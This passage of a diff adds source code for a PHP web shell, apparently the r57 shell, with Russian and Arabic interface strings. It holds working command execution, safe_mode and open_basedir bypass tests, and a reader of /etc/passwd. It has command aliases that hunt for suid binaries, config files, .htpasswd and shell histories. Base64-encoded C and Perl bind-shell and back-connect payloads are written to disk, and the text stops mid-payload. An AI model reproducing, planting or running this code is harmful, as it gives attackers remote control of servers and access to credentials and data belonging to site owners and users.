align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +$lang=array( +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_butt3' =>'???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_butt4' =>'?????????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_butt5' =>'?????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? ????????', +'ru_butt6' =>'???????', +'ru_text30'=>'???????? ?????', +'ru_butt7' =>'???????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', +'ru_butt8' =>'?????????', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'???? . ???????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_butt9' =>'????', +'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_butt12'=>'?????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_butt13'=>'???????/???????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +'ru_text86'=>'?????????? ????? ? ???????', +'ru_butt14'=>'???????', +'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????', +'ru_text88'=>'FTP-??????:????', +'ru_text89'=>'???? ?? ftp ???????', +'ru_text90'=>'????? ????????', +'ru_text91'=>'???????????? ?', +'ru_text92'=>'??? ?????????', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-????????', +'ru_text95'=>'?????? ?????????????', +'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', +'ru_text97'=>'????????? ??????????: ', +'ru_text98'=>'??????? ???????????: ', +'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', +'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', +'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', +'ru_text102'=>'?????', +'ru_text103'=>'???????? ??????', +'ru_text104'=>'???????? ????? ?? ???????? ????', +'ru_text105'=>'????', +'ru_text106'=>'??', +'ru_text107'=>'????', +'ru_butt15'=>'?????????', +'ru_text108'=>'????? ??????', +'ru_text109'=>'????????', +'ru_text110'=>'??????????', +'ru_text111'=>'SQL-?????? : ????', +'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail', +'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list', +'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body', +'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()', +'ru_text116'=>'?????????? ????', +'ru_text117'=>'?', +'ru_text118'=>'???? ??????????', +'ru_text119'=>'?? ??????? ??????????? ????', +'ru_err0'=>'??????! ?? ???? ???????? ? ???? ', +'ru_err1'=>'??????! ?? ???? ????????? ???? ', +'ru_err2'=>'??????! ?? ??????? ??????? ', +'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????', +'ru_err4'=>'?????? ??????????? ?? ftp ???????', +'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????', +'ru_err6'=>'??????! ?? ??????? ????????? ??????', +'ru_err7'=>'?????? ??????????', +/* --------------------------------------------------------------- */ +'eng_text1' =>'����� ������', +'eng_text2' =>'����� ������� �� �������', +'eng_text3' =>'��� �������', +'eng_text4' =>'���� ���� ���� ��� �������', +'eng_text5' =>'��� ��� ��� �������', +'eng_text6' =>'���� ����', +'eng_text7' =>'����� �����', +'eng_text8' =>'���� �����', +'eng_butt1' =>'�����', +'eng_butt2' =>'����', +'eng_text9' =>'��� ���� �� ������� ��� /bin/bash', +'eng_text10'=>'�����', +'eng_text11'=>'������ ������', +'eng_butt3' =>'���', +'eng_text12'=>'������ �����', +'eng_text13'=>'���� ��', +'eng_text14'=>'������', +'eng_butt4' =>'������', +'eng_text15'=>'��� ����� ��� �������', +'eng_text16'=>'�� ����', +'eng_text17'=>'���� �����', +'eng_text18'=>'���� �����', +'eng_text19'=>'Exploits', +'eng_text20'=>'������', +'eng_text21'=>'&nbsp;����� ������', +'eng_text22'=>'����� ��������', +'eng_text23'=>'������ ������', +'eng_text24'=>'������� ������', +'eng_text25'=>'������ ������', +'eng_text26'=>'������', +'eng_butt5' =>'�����', +'eng_text28'=>'����� �� ����� �����', +'eng_text29'=>'����� ������', +'eng_butt6' =>'����', +'eng_text30'=>'��� ���', +'eng_butt7' =>'���', +'eng_text31'=>'����� ��� �����', +'eng_text32'=>'����� ��� php �� ���� ���� eval', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'������', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'������� . ������', +'eng_text37'=>'��� ��������', +'eng_text38'=>'���� ������', +'eng_text39'=>'�������', +'eng_text40'=>'���� �� ����� �������', +'eng_butt9' =>'����', +'eng_text41'=>'��� ������ ��', +'eng_text42'=>'����� �������', +'eng_text43'=>'����� ������ ������', +'eng_butt10'=>'���', +'eng_text44'=>'�������� ������� ��� ��� ����� ��� ����', +'eng_text45'=>'�� �����', +'eng_text46'=>'��� phpinfo()', +'eng_text47'=>'���� ��������� �� php.ini', +'eng_text48'=>'��� ����� ��� temp', +'eng_butt11'=>'����� �����', +'eng_text49'=>'��� ������� �� �������', +'eng_text50'=>'��� ������� ������� ��������', +'eng_text51'=>'��� ������� �������', +'eng_text52'=>'��� ��', +'eng_text53'=>'�� ������', +'eng_text54'=>'��� �� �� �� �������', +'eng_butt12'=>'���', +'eng_text55'=>'��� �� �������', +'eng_text56'=>'������ :(', +'eng_text57'=>'�����/��� ���/����', +'eng_text58'=>'�����', +'eng_text59'=>'���', +'eng_text60'=>'����', +'eng_butt13'=>'����� /���', +'eng_text61'=>'�� ����� �����', +'eng_text62'=>'�� ����� ������', +'eng_text63'=>'�� ��� �����', +'eng_text64'=>'�� ��� ������', +'eng_text65'=>'�����', +'eng_text66'=>'���', +'eng_text67'=>'�������/��������/��������', +'eng_text68'=>'���', +'eng_text69'=>'��� �����', +'eng_text70'=>'�������', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'���� ������', +'eng_text73'=>'��� �� ��������', +'eng_text74'=>'��� �� �������', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'����� �� �� �� ����� ������ find', +'eng_text80'=>'�����', +'eng_text81'=>'���������', +'eng_text82'=>'����� ��������', +'eng_text83'=>'����� ��� �������', +'eng_text84'=>'������� �����', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'����� ����� �� �������', +'eng_butt14'=>'�����', +'eng_text87'=>'����� ����� �� ���� ���� �� ��', +'eng_text88'=>'����� ���� �� ��:������', +'eng_text89'=>'��� �� ���� �� ��', +'eng_text90'=>'������� ���', +'eng_text91'=>'�����', +'eng_text92'=>'�� ��� �������', +'eng_text93'=>'���� �� ��', +'eng_text94'=>'����� ���� �� ��', +'eng_text95'=>'����� ����������', +'eng_text96'=>'�� ����� ��� ����� ����������', +'eng_text97'=>'�� �����: ', +'eng_text98'=>'�� �����: ', +'eng_text99'=>'* ������ ����� ���������� �� ��� /etc/passwd ����� ��� ftp', +'eng_text100'=>'����� ��� ��� ���� ���� �� ��', +'eng_text101'=>'������ ������� ������ ��������', +'eng_text102'=>'����� ������', +'eng_text103'=>'����� ����', +'eng_text104'=>'����� ��� ��� �������', +'eng_text105'=>'���', +'eng_text106'=>'���', +'eng_text107'=>'�������', +'eng_butt15'=>'�����', +'eng_text108'=>'�������', +'eng_text109'=>'����', +'eng_text110'=>'���', +'eng_text111'=>'����� ����� �������� : ������', +'eng_text112'=>'����� ������� �� ���� ���� ���� mb_send_mail', +'eng_text113'=>'����� ����� �������� �� ���� via imap_list', +'eng_text114'=>'����� ������� �� ���� ���� via imap_body', +'eng_text115'=>'����� ������� �� ���� compress.zlib://', +'eng_text116'=>'��� ��', +'eng_text117'=>'���', +'eng_text118'=>'�� ��� �����', +'eng_text119'=>'�������� �����', +'eng_err0'=>'���� ! ������ ������� ��� ��� ����� ', +'eng_err1'=>'���� ! ��� ���� ��� ����� ��� ����� ', +'eng_err2'=>'����! ������ ������� ', +'eng_err3'=>'����! ��� ���� ��� ������� ����� �� ��', +'eng_err4'=>'���� ! �������� ������ ��� ����� ���� �� ��', +'eng_err5'=>'���� ! �������� ���� ������ �� ���� �� ��', +'eng_err6'=>'���� ! �������� ����� �����', +'eng_err7'=>'������ ����', +'eng_text200'=>'����� ������� �� ���� ���� copy()', +'eng_text202'=>'���� ����� ������ ������', +'eng_text300'=>'����� ������� �� ���� ���� curl()', +'eng_text302'=>'���� ����� ������ ������', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'����� �� ����� suid'=>'find / -type f -perm -04000 -ls', +'����� �� ����� suid �� ������ ������'=>'find . -type f -perm -04000 -ls', +'����� �� ����� suid'=>'find / -type f -perm -02000 -ls', +'����� �� ����� suid �� ������ ������'=>'find . -type f -perm -02000 -ls', +'����� �� ����� config.inc.php'=>'find / -type f -name config.inc.php', +'����� �� ����� config.inc.php �� ������ ������'=>'find . -type f -name config.inc.php', +'����� �� ����� config* ����� ����������'=>'find / -type f -name "config*"', +'����� �� ����� config* �� ������ ������'=>'find . -type f -name "config*"', +'����� �� ������� ������� �������'=>'find / -type f -perm -2 -ls', +'����� �� ������� ������� ������� �� ������ ������'=>'find . -type f -perm -2 -ls', +'����� �� �������� ������� �������'=>'find / -type d -perm -2 -ls', +'����� �� �������� ������� ������� �� ������ ������'=>'find . -type d -perm -2 -ls', +'����� �� ����� ������� ����� �������'=>'find / -perm -2 -ls', +'����� �� ����� ������� �� ������ ������'=>'find . -perm -2 -ls', +'����� �� ����� service.pwd'=>'find / -type f -name service.pwd', +'����� �� ����� service.pwd �� ������ ������'=>'find . -type f -name service.pwd', +'����� �� �� ����� ������� ������� .htpasswd'=>'find / -type f -name .htpasswd', +'����� �� ���� ����� ������� ������� �� ������ ������'=>'find . -type f -name .htpasswd', +'����� �� ���� ����� .bash_history'=>'find / -type f -name .bash_history', +'����� �� ���� ����� .bash_history �� ������ ������'=>'find . -type f -name .bash_history', +'����� �� ���� ����� .mysql_history'=>'find / -type f -name .mysql_history', +'����� �� ���� ����� .mysql_history �� ������ ������'=>'find . -type f -name .mysql_history', +'����� �� ���� ����� .fetchmailrc'=>'find / -type f -name .fetchmailrc', +'����� �� ���� ����� .fetchmailrc �� ������ ������'=>'find . -type f -name .fetchmailrc', +'��� ����� ����� �� ������'=>'lsattr -va', +'���� �������� �������� �� �������'=>'netstat -an | grep -i listen', +'���� ���� �������� �������� �������'=>'cat /etc/fstab', +'������ ��� ����� ����� ���� ���� �������� ��� �������'=>'cat /var/cpanel/accounting.log', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#000000><font face=tahoma size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Webdings color=gray>4</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=tahoma size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $unix = 0; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=tahoma size=-2><b>".ws(3); + $r .= (!$unix)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=tahoma size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=tahoma size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=tahoma size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +} +function perms($mode) +{ +if (!$GLOBALS['unix']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value,$checked=0) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\""; + if($checked) $ret .= " checked"; + return $ret.">"; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(0); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC 